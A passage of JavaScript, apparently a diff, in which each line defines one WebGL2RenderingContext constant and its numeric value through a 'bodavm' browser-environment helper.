writable:false, value:4354}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:3074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3314}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3315}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3316}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3330}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3331}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3332}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", {configurable:false, enumerable:true, writable:false, value:6144}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", {configurable:false, enumerable:true, writable:false, value:6145}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", {configurable:false, enumerable:true, writable:false, value:6146}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", {configurable:false, enumerable:true, writable:false, value:6403}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", {configurable:false, enumerable:true, writable:false, value:32849}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", {configurable:false, enumerable:true, writable:false, value:32856}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", {configurable:false, enumerable:true, writable:false, value:32857}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", {configurable:false, enumerable:true, writable:false, value:32874}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", {configurable:false, enumerable:true, writable:false, value:32877}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", {configurable:false, enumerable:true, writable:false, value:32878}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", {configurable:false, enumerable:true, writable:false, value:32879}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", {configurable:false, enumerable:true, writable:false, value:32882}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:32883}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:33640}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", {configurable:false, enumerable:true, writable:false, value:33000}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", {configurable:false, enumerable:true, writable:false, value:33001}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", {configurable:false, enumerable:true, writable:false, value:33082}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", {configurable:false, enumerable:true, writable:false, value:33083}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", {configurable:false, enumerable:true, writable:false, value:33084}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", {configurable:false, enumerable:true, writable:false, value:33085}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", {configurable:false, enumerable:true, writable:false, value:32775}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", {configurable:false, enumerable:true, writable:false, value:32776}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", {configurable:false, enumerable:true, writable:false, value:33190}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", {configurable:false, enumerable:true, writable:false, value:34045}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", {configurable:false, enumerable:true, writable:false, value:34892}); 